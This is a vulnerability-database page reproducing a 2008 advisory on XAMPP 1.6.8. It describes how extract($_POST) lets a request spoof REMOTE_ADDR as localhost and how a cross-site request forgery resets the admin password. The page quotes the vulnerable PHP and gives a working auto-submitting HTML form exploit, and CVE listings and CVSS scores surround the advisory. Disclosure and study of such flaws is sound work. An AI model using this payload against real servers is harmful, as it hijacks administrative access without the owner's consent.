XAMPP 1.6.8 - Cross-Site Request Forgery (Change Administrative Password)
| Reporter | Title | Published | Views | Family All 15 |
|---|---|---|---|---|
 | CVE-2008-6498 | 8 Dec 200800:00 | – | circl |
| CVE-2008-6499 | 8 Dec 200800:00 | – | circl |
 | CVE-2008-6498 | 20 Mar 200900:00 | – | cve |
| CVE-2008-6499 | 20 Mar 200900:00 | – | cve |
 | CVE-2008-6498 | 20 Mar 200900:00 | – | cvelist |
| CVE-2008-6499 | 20 Mar 200900:00 | – | cvelist |
 | XAMPP 1.7.2 - Change Administrative Password | 11 Dec 200900:00 | – | exploitdb |
 | EUVD-2008-6468 | 7 Oct 202500:30 | – | euvd |
| EUVD-2008-6469 | 7 Oct 202500:30 | – | euvd |
 | CVE-2008-6498 | 20 Mar 200900:30 | – | nvd |
10
XAMPP change administrative password:
--------------------------------------------------------------------------------
Written by Michael Brooks
special thanks to str0ke
Affects XAMPP 1.6.8.
homepage: http://www.apachefriends.org/
XAMPP has 17+ million downloads from sourceforge.net.
register_globals=On or Off
This attack is exploitable even when this page is reporting a fully
secure system: http://10.1.1.10/security/index.php
There are two vulnerabilities that are being used toagther.
1)Global variable manipulation to spoof ip address.
2)XSRF to change the .htaccess password for http://10.1.1.10/security/
and http://10.1.1.10/xampp/ .
The $_SERVER[REMOTE_ADDR] comes directly from Apache's tcp socket and
this cannot normally be spoofed.
However extract($_POST); can be used to overwrite any declared
variable, including the $_SERVER superglobal. This can be used to
"spoof" your ip address as 127.0.0.1
This xsrf attack can be exploited from a browser in any ip address, so
long as that browser is currently authenticated.
This vulnerable code is from the very top of: /security/xamppsecurity.php
<?php
error_reporting(0);
extract($_POST);
extract($_SERVER);
$host = "127.0.0.1";
$timeout = "1";
if ($REMOTE_ADDR) {
if ($REMOTE_ADDR != $host) {
echo "<h2> FORBIDDEN FOR CLIENT $REMOTE_ADDR <h2>";
exit;
}
}
//...
//Start of xsrf attack
<html>
<form action='http://10.1.1.10/security/xamppsecurity.php' method='POST' id=1>
<input type="hidden" name="_SERVER[REMOTE_ADDR]" value="127.0.0.1">
<input type=hidden name="xamppuser" value=admin >
<input type=hidden name="xampppasswd" value=password>
<input type=hidden name="xamppaccess" value="Make+safe+the+XAMPP+directory">
<input type=submit>
</form>
</html>
<script>
document.getElementById(1).submit();
</script>
//End of xsrf attack
# milw0rm.com [2008-12-08]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
06 Jan 2017 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 26.8
EPSS0.01556